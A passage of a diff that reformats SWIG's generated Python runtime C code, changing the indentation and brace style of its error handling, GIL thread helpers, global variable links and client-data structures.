break; + case SWIG_SystemError: + type = PyExc_SystemError; + break; + case SWIG_AttributeError: + type = PyExc_AttributeError; + break; + default: + type = PyExc_RuntimeError; + } + return type; } SWIGRUNTIME void -SWIG_Python_AddErrorMsg(const char* mesg) -{ - PyObject *type = 0; - PyObject *value = 0; - PyObject *traceback = 0; +SWIG_Python_AddErrorMsg(const char *mesg) { + PyObject *type = 0; + PyObject *value = 0; + PyObject *traceback = 0; - if (PyErr_Occurred()) - PyErr_Fetch(&type, &value, &traceback); - if (value) { - PyObject *old_str = PyObject_Str(value); - PyObject *bytes = NULL; - const char *tmp = SWIG_PyUnicode_AsUTF8AndSize(old_str, NULL, &bytes); - PyErr_Clear(); - Py_XINCREF(type); - if (tmp) - PyErr_Format(type, "%s %s", tmp, mesg); - else - PyErr_Format(type, "%s", mesg); - Py_XDECREF(bytes); - Py_DECREF(old_str); - Py_DECREF(value); - } else { - PyErr_SetString(PyExc_RuntimeError, mesg); - } + if (PyErr_Occurred()) + PyErr_Fetch(&type, &value, &traceback); + if (value) { + PyObject *old_str = PyObject_Str(value); + PyObject *bytes = NULL; + const char *tmp = SWIG_PyUnicode_AsUTF8AndSize(old_str, NULL, &bytes); + PyErr_Clear(); + Py_XINCREF(type); + if (tmp) + PyErr_Format(type, "%s %s", tmp, mesg); + else + PyErr_Format(type, "%s", mesg); + Py_XDECREF(bytes); + Py_DECREF(old_str); + Py_DECREF(value); + } else { + PyErr_SetString(PyExc_RuntimeError, mesg); + } } SWIGRUNTIME int -SWIG_Python_TypeErrorOccurred(PyObject *obj) -{ - PyObject *error; - if (obj) - return 0; - error = PyErr_Occurred(); - return error && PyErr_GivenExceptionMatches(error, PyExc_TypeError); +SWIG_Python_TypeErrorOccurred(PyObject *obj) { + PyObject *error; + if (obj) + return 0; + error = PyErr_Occurred(); + return error && PyErr_GivenExceptionMatches(error, PyExc_TypeError); } SWIGRUNTIME void -SWIG_Python_RaiseOrModifyTypeError(const char *message) -{ - if (SWIG_Python_TypeErrorOccurred(NULL)) { - /* Use existing TypeError to preserve stacktrace and enhance with given message */ - PyObject *newvalue; - PyObject *type = NULL, *value = NULL, *traceback = NULL; - PyErr_Fetch(&type, &value, &traceback); +SWIG_Python_RaiseOrModifyTypeError(const char *message) { + if (SWIG_Python_TypeErrorOccurred(NULL)) { + /* Use existing TypeError to preserve stacktrace and enhance with given message */ + PyObject *newvalue; + PyObject *type = NULL, *value = NULL, *traceback = NULL; + PyErr_Fetch(&type, &value, &traceback); #if PY_VERSION_HEX >= 0x03000000 - newvalue = PyUnicode_FromFormat("%S\nAdditional information:\n%s", value, message); + newvalue = PyUnicode_FromFormat("%S\nAdditional information:\n%s", value, message); #else - newvalue = PyString_FromFormat("%s\nAdditional information:\n%s", PyString_AsString(value), message); + newvalue = PyString_FromFormat("%s\nAdditional information:\n%s", PyString_AsString(value), message); #endif - if (newvalue) { - Py_XDECREF(value); - PyErr_Restore(type, newvalue, traceback); + if (newvalue) { + Py_XDECREF(value); + PyErr_Restore(type, newvalue, traceback); + } else { + PyErr_Restore(type, value, traceback); + } } else { - PyErr_Restore(type, value, traceback); + /* Raise TypeError using given message */ + PyErr_SetString(PyExc_TypeError, message); } - } else { - /* Raise TypeError using given message */ - PyErr_SetString(PyExc_TypeError, message); - } } #if defined(SWIG_PYTHON_NO_THREADS) @@ -1028,22 +1022,22 @@ SWIG_Python_RaiseOrModifyTypeError(const char *message) # endif # endif # ifdef __cplusplus /* C++ code */ - class SWIG_Python_Thread_Block { - bool status; - PyGILState_STATE state; - public: - void end() { if (status) { PyGILState_Release(state); status = false;} } - SWIG_Python_Thread_Block() : status(true), state(PyGILState_Ensure()) {} - ~SWIG_Python_Thread_Block() { end(); } - }; - class SWIG_Python_Thread_Allow { - bool status; - PyThreadState *save; - public: - void end() { if (status) { status = false; PyEval_RestoreThread(save); }} - SWIG_Python_Thread_Allow() : status(true), save(PyEval_SaveThread()) {} - ~SWIG_Python_Thread_Allow() { end(); } - }; +class SWIG_Python_Thread_Block { + bool status; + PyGILState_STATE state; + public: + void end() { if (status) { PyGILState_Release(state); status = false;} } + SWIG_Python_Thread_Block() : status(true), state(PyGILState_Ensure()) {} + ~SWIG_Python_Thread_Block() { end(); } +}; +class SWIG_Python_Thread_Allow { + bool status; + PyThreadState *save; + public: + void end() { if (status) { status = false; PyEval_RestoreThread(save); }} + SWIG_Python_Thread_Allow() : status(true), save(PyEval_SaveThread()) {} + ~SWIG_Python_Thread_Allow() { end(); } +}; # define SWIG_PYTHON_THREAD_BEGIN_BLOCK SWIG_Python_Thread_Block _swig_thread_block # define SWIG_PYTHON_THREAD_END_BLOCK _swig_thread_block.end() # define SWIG_PYTHON_THREAD_BEGIN_ALLOW SWIG_Python_Thread_Allow _swig_thread_allow @@ -1097,12 +1091,12 @@ extern "C" { /* Constant information structure */ typedef struct swig_const_info { - int type; - const char *name; - long lvalue; - double dvalue; - void *pvalue; - swig_type_info **ptype; + int type; + const char *name; + long lvalue; + double dvalue; + void *pvalue; + swig_type_info **ptype; } swig_const_info; #ifdef __cplusplus @@ -1142,7 +1136,7 @@ typedef struct swig_const_info { #define SWIG_InternalNewPointerObj(ptr, type, flags) SWIG_Python_NewPointerObj(NULL, ptr, type, flags) -#define SWIG_CheckImplicit(ty) SWIG_Python_CheckImplicit(ty) +#define SWIG_CheckImplicit(ty) SWIG_Python_CheckImplicit(ty) #define SWIG_AcquirePtr(ptr, src) SWIG_Python_AcquirePtr(ptr, src) #define swig_owntype int @@ -1169,30 +1163,30 @@ typedef struct swig_const_info { #define SWIG_SetModule(clientdata, pointer) SWIG_Python_SetModule(pointer) #define SWIG_NewClientData(obj) SwigPyClientData_New(obj) -#define SWIG_SetErrorObj SWIG_Python_SetErrorObj -#define SWIG_SetErrorMsg SWIG_Python_SetErrorMsg -#define SWIG_ErrorType(code) SWIG_Python_ErrorType(code) -#define SWIG_Error(code, msg) SWIG_Python_SetErrorMsg(SWIG_ErrorType(code), msg) -#define SWIG_fail goto fail +#define SWIG_SetErrorObj SWIG_Python_SetErrorObj +#define SWIG_SetErrorMsg SWIG_Python_SetErrorMsg +#define SWIG_ErrorType(code) SWIG_Python_ErrorType(code) +#define SWIG_Error(code, msg) SWIG_Python_SetErrorMsg(SWIG_ErrorType(code), msg) +#define SWIG_fail goto fail /* Runtime API implementation */ /* Error manipulation */ -SWIGINTERN void +SWIGINTERN void SWIG_Python_SetErrorObj(PyObject *errtype, PyObject *obj) { - SWIG_PYTHON_THREAD_BEGIN_BLOCK; - PyErr_SetObject(errtype, obj); - Py_DECREF(obj); - SWIG_PYTHON_THREAD_END_BLOCK; + SWIG_PYTHON_THREAD_BEGIN_BLOCK; + PyErr_SetObject(errtype, obj); + Py_DECREF(obj); + SWIG_PYTHON_THREAD_END_BLOCK; } -SWIGINTERN void +SWIGINTERN void SWIG_Python_SetErrorMsg(PyObject *errtype, const char *msg) { - SWIG_PYTHON_THREAD_BEGIN_BLOCK; - PyErr_SetString(errtype, msg); - SWIG_PYTHON_THREAD_END_BLOCK; + SWIG_PYTHON_THREAD_BEGIN_BLOCK; + PyErr_SetString(errtype, msg); + SWIG_PYTHON_THREAD_END_BLOCK; } #define SWIG_Python_Raise(obj, type, desc) SWIG_Python_SetErrorObj(SWIG_Python_ExceptionType(desc), obj) @@ -1203,114 +1197,113 @@ SWIG_Python_SetErrorMsg(PyObject *errtype, const char *msg) { SWIGINTERN void SwigPyBuiltin_AddPublicSymbol(PyObject *seq, const char *key) { - PyObject *s = PyString_InternFromString(key); - PyList_Append(seq, s); - Py_DECREF(s); + PyObject *s = PyString_InternFromString(key); + PyList_Append(seq, s); + Py_DECREF(s); } SWIGINTERN void -SWIG_Python_SetConstant(PyObject *d, PyObject *public_interface, const char *name, PyObject *obj) { - PyDict_SetItemString(d, name, obj); - Py_DECREF(obj); - if (public_interface) - SwigPyBuiltin_AddPublicSymbol(public_interface, name); +SWIG_Python_SetConstant(PyObject *d, PyObject *public_interface, const char *name, PyObject *obj) { + PyDict_SetItemString(d, name, obj); + Py_DECREF(obj); + if (public_interface) + SwigPyBuiltin_AddPublicSymbol(public_interface, name); } #else SWIGINTERN void -SWIG_Python_SetConstant(PyObject *d, const char *name, PyObject *obj) { - PyDict_SetItemString(d, name, obj); - Py_DECREF(obj); +SWIG_Python_SetConstant(PyObject *d, const char *name, PyObject *obj) { + PyDict_SetItemString(d, name, obj); + Py_DECREF(obj); } #endif /* Append a value to the result obj */ -SWIGINTERN PyObject* -SWIG_Python_AppendOutput(PyObject* result, PyObject* obj) { - if (!result) { - result = obj; - } else if (result == Py_None) { - Py_DECREF(result); - result = obj; - } else { - if (!PyList_Check(result)) { - PyObject *o2 = result; - result = PyList_New(1); - if (result) { - PyList_SET_ITEM(result, 0, o2); - } else { +SWIGINTERN PyObject * +SWIG_Python_AppendOutput(PyObject *result, PyObject *obj) { + if (!result) { + result = obj; + } else if (result == Py_None) { + Py_DECREF(result); + result = obj; + } else { + if (!PyList_Check(result)) { + PyObject *o2 = result; + result = PyList_New(1); + if (result) { + PyList_SET_ITEM(result, 0, o2); + } else { + Py_DECREF(obj); + return o2; + } + } + PyList_Append(result, obj); Py_DECREF(obj); - return o2; - } } - PyList_Append(result,obj); - Py_DECREF(obj); - } - return result; + return result; } /* Unpack the argument tuple */ SWIGINTERN Py_ssize_t -SWIG_Python_UnpackTuple(PyObject *args, const char *name, Py_ssize_t min, Py_ssize_t max, PyObject **objs) -{ - if (!args) { - if (!min && !max) { - return 1; - } else { - PyErr_Format(PyExc_TypeError, "%s expected %s%d arguments, got none", - name, (min == max ? "" : "at least "), (int)min); - return 0; +SWIG_Python_UnpackTuple(PyObject *args, const char *name, Py_ssize_t min, Py_ssize_t max, PyObject **objs) { + if (!args) { + if (!min && !max) { + return 1; + } else { + PyErr_Format(PyExc_TypeError, "%s expected %s%d arguments, got none", + name, (min == max ? "" : "at least "), (int)min); + return 0; + } } - } - if (!PyTuple_Check(args)) { - if (min <= 1 && max >= 1) { - Py_ssize_t i; - objs[0] = args; - for (i = 1; i < max; ++i) { - objs[i] = 0; - } - return 2; - } - PyErr_SetString(PyExc_SystemError, "UnpackTuple() argument list is not a tuple"); - return 0; - } else { - Py_ssize_t l = PyTuple_GET_SIZE(args); - if (l < min) { - PyErr_Format(PyExc_TypeError, "%s expected %s%d arguments, got %d", - name, (min == max ? "" : "at least "), (int)min, (int)l); - return 0; - } else if (l > max) { - PyErr_Format(PyExc_TypeError, "%s expected %s%d arguments, got %d", - name, (min == max ? "" : "at most "), (int)max, (int)l); - return 0; + if (!PyTuple_Check(args)) { + if (min <= 1 && max >= 1) { + Py_ssize_t i; + objs[0] = args; + for (i = 1; i < max; ++i) { + objs[i] = 0; + } + return 2; + } + PyErr_SetString(PyExc_SystemError, "UnpackTuple() argument list is not a tuple"); + return 0; } else { - Py_ssize_t i; - for (i = 0; i < l; ++i) { - objs[i] = PyTuple_GET_ITEM(args, i); - } - for (; l < max; ++l) { - objs[l] = 0; - } - return i + 1; - } - } + Py_ssize_t l = PyTuple_GET_SIZE(args); + if (l < min) { + PyErr_Format(PyExc_TypeError, "%s expected %s%d arguments, got %d", + name, (min == max ? "" : "at least "), (int)min, (int)l); + return 0; + } else if (l > max) { + PyErr_Format(PyExc_TypeError, "%s expected %s%d arguments, got %d", + name, (min == max ? "" : "at most "), (int)max, (int)l); + return 0; + } else { + Py_ssize_t i; + for (i = 0; i < l; ++i) { + objs[i] = PyTuple_GET_ITEM(args, i); + } + for (; l < max; ++l) { + objs[l] = 0; + } + return i + 1; + } + } } SWIGINTERN int SWIG_Python_CheckNoKeywords(PyObject *kwargs, const char *name) { - int no_kwargs = 1; - if (kwargs) { - assert(PyDict_Check(kwargs)); - if (PyDict_Size(kwargs) > 0) { - PyErr_Format(PyExc_TypeError, "%s() does not take keyword arguments", name); - no_kwargs = 0; + int no_kwargs = 1; + if (kwargs) { + assert(PyDict_Check(kwargs)); + if (PyDict_Size(kwargs) > 0) { + PyErr_Format(PyExc_TypeError, "%s() does not take keyword arguments", name); + no_kwargs = 0; + } } - } - return no_kwargs; + return no_kwargs; } /* A functor is a function object with one single object argument */ @@ -1334,247 +1327,247 @@ extern "C" { #define SWIG_newvarlink() SWIG_Python_newvarlink() #define SWIG_addvarlink(p, name, get_attr, set_attr) SWIG_Python_addvarlink(p, name, get_attr, set_attr) #define SWIG_InstallConstants(d, constants) SWIG_Python_InstallConstants(d, constants) - + /* ----------------------------------------------------------------------------- * global variable support code. * ----------------------------------------------------------------------------- */ - -typedef struct swig_globalvar { - char *name; /* Name of global variable */ - PyObject *(*get_attr)(void); /* Return the current value */ - int (*set_attr)(PyObject *); /* Set the value */ - struct swig_globalvar *next; + +typedef struct swig_globalvar { + char *name; /* Name of global variable */ + PyObject *(*get_attr)(void); /* Return the current value */ + int (*set_attr)(PyObject *); /* Set the value */ + struct swig_globalvar *next; } swig_globalvar; typedef struct swig_varlinkobject { - PyObject_HEAD - swig_globalvar *vars; + PyObject_HEAD + swig_globalvar *vars; } swig_varlinkobject; SWIGINTERN PyObject * swig_varlink_repr(PyObject *SWIGUNUSEDPARM(v)) { #if PY_VERSION_HEX >= 0x03000000 - return PyUnicode_InternFromString(""); + return PyUnicode_InternFromString(""); #else - return PyString_FromString(""); + return PyString_FromString(""); #endif } SWIGINTERN PyObject * swig_varlink_str(PyObject *o) { - swig_varlinkobject *v = (swig_varlinkobject *) o; + swig_varlinkobject *v = (swig_varlinkobject *) o; #if PY_VERSION_HEX >= 0x03000000 - PyObject *str = PyUnicode_InternFromString("("); - PyObject *tail; - PyObject *joined; - swig_globalvar *var; - for (var = v->vars; var; var=var->next) { - tail = PyUnicode_FromString(var->name); - joined = PyUnicode_Concat(str, tail); - Py_DecRef(str); - Py_DecRef(tail); - str = joined; - if (var->next) { - tail = PyUnicode_InternFromString(", "); + PyObject *str = PyUnicode_InternFromString("("); + PyObject *tail; + PyObject *joined; + swig_globalvar *var; + for (var = v->vars; var; var = var->next) { + tail = PyUnicode_FromString(var->name); joined = PyUnicode_Concat(str, tail); Py_DecRef(str); Py_DecRef(tail); str = joined; + if (var->next) { + tail = PyUnicode_InternFromString(", "); + joined = PyUnicode_Concat(str, tail); + Py_DecRef(str); + Py_DecRef(tail); + str = joined; + } } - } - tail = PyUnicode_InternFromString(")"); - joined = PyUnicode_Concat(str, tail); - Py_DecRef(str); - Py_DecRef(tail); - str = joined; + tail = PyUnicode_InternFromString(")"); + joined = PyUnicode_Concat(str, tail); + Py_DecRef(str); + Py_DecRef(tail); + str = joined; #else - PyObject *str = PyString_FromString("("); - swig_globalvar *var; - for (var = v->vars; var; var=var->next) { - PyString_ConcatAndDel(&str,PyString_FromString(var->name)); - if (var->next) PyString_ConcatAndDel(&str,PyString_FromString(", ")); - } - PyString_ConcatAndDel(&str,PyString_FromString(")")); + PyObject *str = PyString_FromString("("); + swig_globalvar *var; + for (var = v->vars; var; var = var->next) { + PyString_ConcatAndDel(&str, PyString_FromString(var->name)); + if (var->next) PyString_ConcatAndDel(&str, PyString_FromString(", ")); + } + PyString_ConcatAndDel(&str, PyString_FromString(")")); #endif - return str; + return str; } SWIGINTERN void swig_varlink_dealloc(PyObject *o) { - swig_varlinkobject *v = (swig_varlinkobject *) o; - swig_globalvar *var = v->vars; - while (var) { - swig_globalvar *n = var->next; - free(var->name); - free(var); - var = n; - } + swig_varlinkobject *v = (swig_varlinkobject *) o; + swig_globalvar *var = v->vars; + while (var) { + swig_globalvar *n = var->next; + free(var->name); + free(var); + var = n; + } } SWIGINTERN PyObject * swig_varlink_getattr(PyObject *o, char *n) { - swig_varlinkobject *v = (swig_varlinkobject *) o; - PyObject *res = NULL; - swig_globalvar *var = v->vars; - while (var) { - if (strcmp(var->name,n) == 0) { - res = (*var->get_attr)(); - break; + swig_varlinkobject *v = (swig_varlinkobject *) o; + PyObject *res = NULL; + swig_globalvar *var = v->vars; + while (var) { + if (strcmp(var->name, n) == 0) { + res = (*var->get_attr)(); + break; + } + var = var->next; } - var = var->next; - } - if (res == NULL && !PyErr_Occurred()) { - PyErr_Format(PyExc_AttributeError, "Unknown C global variable '%s'", n); - } - return res; + if (res == NULL && !PyErr_Occurred()) { + PyErr_Format(PyExc_AttributeError, "Unknown C global variable '%s'", n); + } + return res; } SWIGINTERN int swig_varlink_setattr(PyObject *o, char *n, PyObject *p) { - swig_varlinkobject *v = (swig_varlinkobject *) o; - int res = 1; - swig_globalvar *var = v->vars; - while (var) { - if (strcmp(var->name,n) == 0) { - res = (*var->set_attr)(p); - break; + swig_varlinkobject *v = (swig_varlinkobject *) o; + int res = 1; + swig_globalvar *var = v->vars; + while (var) { + if (strcmp(var->name, n) == 0) { + res = (*var->set_attr)(p); + break; + } + var = var->next; } - var = var->next; - } - if (res == 1 && !PyErr_Occurred()) { - PyErr_Format(PyExc_AttributeError, "Unknown C global variable '%s'", n); - } - return res; + if (res == 1 && !PyErr_Occurred()) { + PyErr_Format(PyExc_AttributeError, "Unknown C global variable '%s'", n); + } + return res; } -SWIGINTERN PyTypeObject* +SWIGINTERN PyTypeObject * swig_varlink_type(void) { - static char varlink__doc__[] = "Swig var link object"; + static char varlink__doc__[] = "Swig var link object"; #ifndef Py_LIMITED_API - static PyTypeObject varlink_type; - static int type_init = 0; - if (!type_init) { - const PyTypeObject tmp = { + static PyTypeObject varlink_type; + static int type_init = 0; + if (!type_init) { + const PyTypeObject tmp = { #if PY_VERSION_HEX >= 0x03000000 - PyVarObject_HEAD_INIT(NULL, 0) + PyVarObject_HEAD_INIT(NULL, 0) #else - PyObject_HEAD_INIT(NULL) - 0, /* ob_size */ + PyObject_HEAD_INIT(NULL) + 0, /* ob_size */ #endif - "swigvarlink", /* tp_name */ - sizeof(swig_varlinkobject), /* tp_basicsize */ - 0, /* tp_itemsize */ - (destructor) swig_varlink_dealloc, /* tp_dealloc */ + "swigvarlink", /* tp_name */ + sizeof(swig_varlinkobject), /* tp_basicsize */ + 0, /* tp_itemsize */ + (destructor) swig_varlink_dealloc, /* tp_dealloc */ #if PY_VERSION_HEX < 0x030800b4 - (printfunc)0, /*tp_print*/ + (printfunc)0, /*tp_print*/ #else - (Py_ssize_t)0, /*tp_vectorcall_offset*/ + (Py_ssize_t)0, /*tp_vectorcall_offset*/ #endif - (getattrfunc) swig_varlink_getattr, /* tp_getattr */ - (setattrfunc) swig_varlink_setattr, /* tp_setattr */ - 0, /* tp_compare */ - (reprfunc) swig_varlink_repr, /* tp_repr */ - 0, /* tp_as_number */ - 0, /* tp_as_sequence */ - 0, /* tp_as_mapping */ - 0, /* tp_hash */ - 0, /* tp_call */ - (reprfunc) swig_varlink_str, /* tp_str */ - 0, /* tp_getattro */ - 0, /* tp_setattro */ - 0, /* tp_as_buffer */ - 0, /* tp_flags */ - varlink__doc__, /* tp_doc */ - 0, /* tp_traverse */ - 0, /* tp_clear */ - 0, /* tp_richcompare */ - 0, /* tp_weaklistoffset */ - 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, /* tp_iter -> tp_weaklist */ - 0, /* tp_del */ - 0, /* tp_version_tag */ + (getattrfunc) swig_varlink_getattr, /* tp_getattr */ + (setattrfunc) swig_varlink_setattr, /* tp_setattr */ + 0, /* tp_compare */ + (reprfunc) swig_varlink_repr, /* tp_repr */ + 0, /* tp_as_number */ + 0, /* tp_as_sequence */ + 0, /* tp_as_mapping */ + 0, /* tp_hash */ + 0, /* tp_call */ + (reprfunc) swig_varlink_str, /* tp_str */ + 0, /* tp_getattro */ + 0, /* tp_setattro */ + 0, /* tp_as_buffer */ + 0, /* tp_flags */ + varlink__doc__, /* tp_doc */ + 0, /* tp_traverse */ + 0, /* tp_clear */ + 0, /* tp_richcompare */ + 0, /* tp_weaklistoffset */ + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* tp_iter -> tp_weaklist */ + 0, /* tp_del */ + 0, /* tp_version_tag */ #if PY_VERSION_HEX >= 0x03040000 - 0, /* tp_finalize */ + 0, /* tp_finalize */ #endif #if PY_VERSION_HEX >= 0x03080000 - 0, /* tp_vectorcall */ + 0, /* tp_vectorcall */ #endif #if (PY_VERSION_HEX >= 0x03080000) && (PY_VERSION_HEX < 0x03090000) - 0, /* tp_print */ + 0, /* tp_print */ #endif #if PY_VERSION_HEX >= 0x030C0000 - 0, /* tp_watched */ + 0, /* tp_watched */ #endif #ifdef COUNT_ALLOCS - 0, /* tp_allocs */ - 0, /* tp_frees */ - 0, /* tp_maxalloc */ - 0, /* tp_prev */ - 0 /* tp_next */ + 0, /* tp_allocs */ + 0, /* tp_frees */ + 0, /* tp_maxalloc */ + 0, /* tp_prev */ + 0 /* tp_next */ #endif - }; - varlink_type = tmp; - type_init = 1; - if (PyType_Ready(&varlink_type) < 0) - return NULL; - } - return &varlink_type; + }; + varlink_type = tmp; + type_init = 1; + if (PyType_Ready(&varlink_type) < 0) + return NULL; + } + return &varlink_type; #else - PyType_Slot slots[] = { - { Py_tp_dealloc, (void *)swig_varlink_dealloc }, - { Py_tp_repr, (void *)swig_varlink_repr }, - { Py_tp_getattr, (void *)swig_varlink_getattr }, - { Py_tp_setattr, (void *)swig_varlink_setattr }, - { Py_tp_str, (void *)swig_varlink_str }, - { Py_tp_doc, (void *)varlink__doc__ }, - { 0, NULL } - }; - PyType_Spec spec = { - "swigvarlink", - sizeof(swig_varlinkobject), - 0, - Py_TPFLAGS_DEFAULT, - slots - }; - return (PyTypeObject *)PyType_FromSpec(&spec); + PyType_Slot slots[] = { + { Py_tp_dealloc, (void *)swig_varlink_dealloc }, + { Py_tp_repr, (void *)swig_varlink_repr }, + { Py_tp_getattr, (void *)swig_varlink_getattr }, + { Py_tp_setattr, (void *)swig_varlink_setattr }, + { Py_tp_str, (void *)swig_varlink_str }, + { Py_tp_doc, (void *)varlink__doc__ }, + { 0, NULL } + }; + PyType_Spec spec = { + "swigvarlink", + sizeof(swig_varlinkobject), + 0, + Py_TPFLAGS_DEFAULT, + slots + }; + return (PyTypeObject *)PyType_FromSpec(&spec); #endif } /* Create a variable linking object for use later */ SWIGINTERN PyObject * SWIG_Python_newvarlink(void) { - swig_varlinkobject *result = PyObject_New(swig_varlinkobject, swig_varlink_type()); - if (result) { - result->vars = 0; - } - return ((PyObject*) result); + swig_varlinkobject *result = PyObject_New(swig_varlinkobject, swig_varlink_type()); + if (result) { + result->vars = 0; + } + return ((PyObject *) result); } -SWIGINTERN void -SWIG_Python_addvarlink(PyObject *p, const char *name, PyObject *(*get_attr)(void), int (*set_attr)(PyObject *p)) { - swig_varlinkobject *v = (swig_varlinkobject *) p; - swig_globalvar *gv = (swig_globalvar *) malloc(sizeof(swig_globalvar)); - if (gv) { - size_t size = strlen(name)+1; - gv->name = (char *)malloc(size); - if (gv->name) { - memcpy(gv->name, name, size); - gv->get_attr = get_attr; - gv->set_attr = set_attr; - gv->next = v->vars; +SWIGINTERN void +SWIG_Python_addvarlink(PyObject *p, const char *name, PyObject * (*get_attr)(void), int (*set_attr)(PyObject *p)) { + swig_varlinkobject *v = (swig_varlinkobject *) p; + swig_globalvar *gv = (swig_globalvar *) malloc(sizeof(swig_globalvar)); + if (gv) { + size_t size = strlen(name) + 1; + gv->name = (char *)malloc(size); + if (gv->name) { + memcpy(gv->name, name, size); + gv->get_attr = get_attr; + gv->set_attr = set_attr; + gv->next = v->vars; + } } - } - v->vars = gv; + v->vars = gv; } static PyObject *Swig_Globals_global = NULL; - + SWIGINTERN PyObject * SWIG_globals(void) { - if (Swig_Globals_global == NULL) { - Swig_Globals_global = SWIG_newvarlink(); - } - return Swig_Globals_global; + if (Swig_Globals_global == NULL) { + Swig_Globals_global = SWIG_newvarlink(); + } + return Swig_Globals_global; } #ifdef __cplusplus @@ -1600,114 +1593,110 @@ extern "C" { /* The python void return value */ -SWIGRUNTIMEINLINE PyObject * -SWIG_Py_Void(void) -{ - PyObject *none = Py_None; - Py_INCREF(none); - return none; +SWIGRUNTIMEINLINE PyObject * +SWIG_Py_Void(void) { + PyObject *none = Py_None; + Py_INCREF(none); + return none; } /* SwigPyClientData */ typedef struct { - PyObject *klass; - PyObject *newraw; - PyObject *newargs; - PyObject *destroy; - int delargs; - int implicitconv; - PyTypeObject *pytype; + PyObject *klass; + PyObject *newraw; + PyObject *newargs; + PyObject *destroy; + int delargs; + int implicitconv; + PyTypeObject *pytype; } SwigPyClientData; -SWIGRUNTIMEINLINE int -SWIG_Python_CheckImplicit(swig_type_info *ty) -{ - SwigPyClientData *data = (SwigPyClientData *)ty->clientdata; - int fail = data ? data->implicitconv : 0; - if (fail) - PyErr_SetString(PyExc_TypeError, "Implicit conversion is prohibited for explicit constructors."); - return fail; +SWIGRUNTIMEINLINE int +SWIG_Python_CheckImplicit(swig_type_info *ty) { + SwigPyClientData *data = (SwigPyClientData *)ty->clientdata; + int fail = data ? data->implicitconv : 0; + if (fail) + PyErr_SetString(PyExc_TypeError, "Implicit conversion is prohibited for explicit constructors."); + return fail; } SWIGRUNTIMEINLINE PyObject * SWIG_Python_ExceptionType(swig_type_info *desc) { - SwigPyClientData *data = desc ? (SwigPyClientData *) desc->clientdata : 0; - PyObject *klass = data ? data->klass : 0; - return (klass ? klass : PyExc_RuntimeError); + SwigPyClientData *data = desc ? (SwigPyClientData *) desc->clientdata : 0; + PyObject *klass = data ? data->klass : 0; + return (klass ? klass : PyExc_RuntimeError); } -SWIGRUNTIME SwigPyClientData * -SwigPyClientData_New(PyObject* obj) -{ - if (!obj) { - return 0; - } else { - SwigPyClientData *data = (SwigPyClientData *)malloc(sizeof(SwigPyClientData)); - /* the klass element */ - data->klass = obj; - Py_INCREF(data->klass); - /* the newraw method and newargs arguments used to create a new raw instance */ - if (PyClass_Check(obj)) { - data->newraw = 0; - Py_INCREF(obj); - data->newargs = obj; +SWIGRUNTIME SwigPyClientData * +SwigPyClientData_New(PyObject *obj) { + if (!obj) { + return 0; } else { - data->newraw = PyObject_GetAttrString(data->klass, "__new__"); - if (data->newraw) { - data->newargs = PyTuple_New(1); - if (data->newargs) { - Py_INCREF(obj); - PyTuple_SET_ITEM(data->newargs, 0, obj); + SwigPyClientData *data = (SwigPyClientData *)malloc(sizeof(SwigPyClientData)); + /* the klass element */ + data->klass = obj; + Py_INCREF(data->klass); + /* the newraw method and newargs arguments used to create a new raw instance */ + if (PyClass_Check(obj)) { + data->newraw = 0; + Py_INCREF(obj); + data->newargs = obj; } else { - Py_DECREF(data->newraw); - Py_DECREF(data->klass); - free(data); - return 0; + data->newraw = PyObject_GetAttrString(data->klass, "__new__"); + if (data->newraw) { + data->newargs = PyTuple_New(1); + if (data->newargs) { + Py_INCREF(obj); + PyTuple_SET_ITEM(data->newargs, 0, obj); + } else { + Py_DECREF(data->newraw); + Py_DECREF(data->klass); + free(data); + return 0; + } + } else { + Py_INCREF(obj); + data->newargs = obj; + } } - } else { - Py_INCREF(obj); - data->newargs = obj; - } + /* the destroy method, aka as the C++ delete method */ + data->destroy = PyObject_GetAttrString(data->klass, "__swig_destroy__"); + if (PyErr_Occurred()) { + PyErr_Clear(); + data->destroy = 0; + } + if (data->destroy) { + data->delargs = !(PyCFunction_GET_FLAGS(data->destroy) & METH_O); + } else { + data->delargs = 0; + } + data->implicitconv = 0; + data->pytype = 0; + return data; } - /* the destroy method, aka as the C++ delete method */ - data->destroy = PyObject_GetAttrString(data->klass, "__swig_destroy__"); - if (PyErr_Occurred()) { - PyErr_Clear(); - data->destroy = 0; - } - if (data->destroy) { - data->delargs = !(PyCFunction_GET_FLAGS(data->destroy) & METH_O); - } else { - data->delargs = 0; - } - data->implicitconv = 0; - data->pytype = 0; - return data; - } } -SWIGRUNTIME void -SwigPyClientData_Del(SwigPyClientData *data) -{ - Py_XDECREF(data->klass); - Py_XDECREF(data->newraw); - Py_XDECREF(data->newargs); - Py_XDECREF(data->destroy); - free(data); +SWIGRUNTIME void +SwigPyClientData_Del(SwigPyClientData *data) { + Py_XDECREF(data->klass); + Py_XDECREF(data->newraw); + Py_XDECREF(data->newargs); + Py_XDECREF(data->destroy); + free(data); } /* =============== SwigPyObject =====================*/ typedef struct { - PyObject_HEAD - void *ptr; - swig_type_info *ty; - int own; - PyObject *next; + PyObject_HEAD + void *ptr; + swig_type_info *ty; + int own; + PyObject *next; #ifdef SWIGPYTHON_BUILTIN - PyObject *dict; + PyObject *dict; #endif } SwigPyObject; @@ -1715,160 +1704,151 @@ typedef struct { #ifdef SWIGPYTHON_BUILTIN SWIGRUNTIME PyObject * -SwigPyObject_get___dict__(PyObject *v, PyObject *SWIGUNUSEDPARM(args)) -{ - SwigPyObject *sobj = (SwigPyObject *)v; +SwigPyObject_get___dict__(PyObject *v, PyObject *SWIGUNUSEDPARM(args)) { + SwigPyObject *sobj = (SwigPyObject *)v; - if (!sobj->dict) - sobj->dict = PyDict_New(); + if (!sobj->dict) + sobj->dict = PyDict_New(); - Py_XINCREF(sobj->dict); - return sobj->dict; + Py_XINCREF(sobj->dict); + return sobj->dict; } #endif SWIGRUNTIME PyObject * -SwigPyObject_long(SwigPyObject *v) -{ - return PyLong_FromVoidPtr(v->ptr); +SwigPyObject_long(SwigPyObject *v) { + return PyLong_FromVoidPtr(v->ptr); } SWIGRUNTIME PyObject * -SwigPyObject_format(const char* fmt, SwigPyObject *v) -{ - PyObject *res = NULL; - PyObject *args = PyTuple_New(1); - if (args) { - PyObject *val = SwigPyObject_long(v); - if (val) { - PyObject *ofmt; - PyTuple_SET_ITEM(args, 0, val); - ofmt = SWIG_Python_str_FromChar(fmt); - if (ofmt) { +SwigPyObject_format(const char *fmt, SwigPyObject *v) { + PyObject *res = NULL; + PyObject *args = 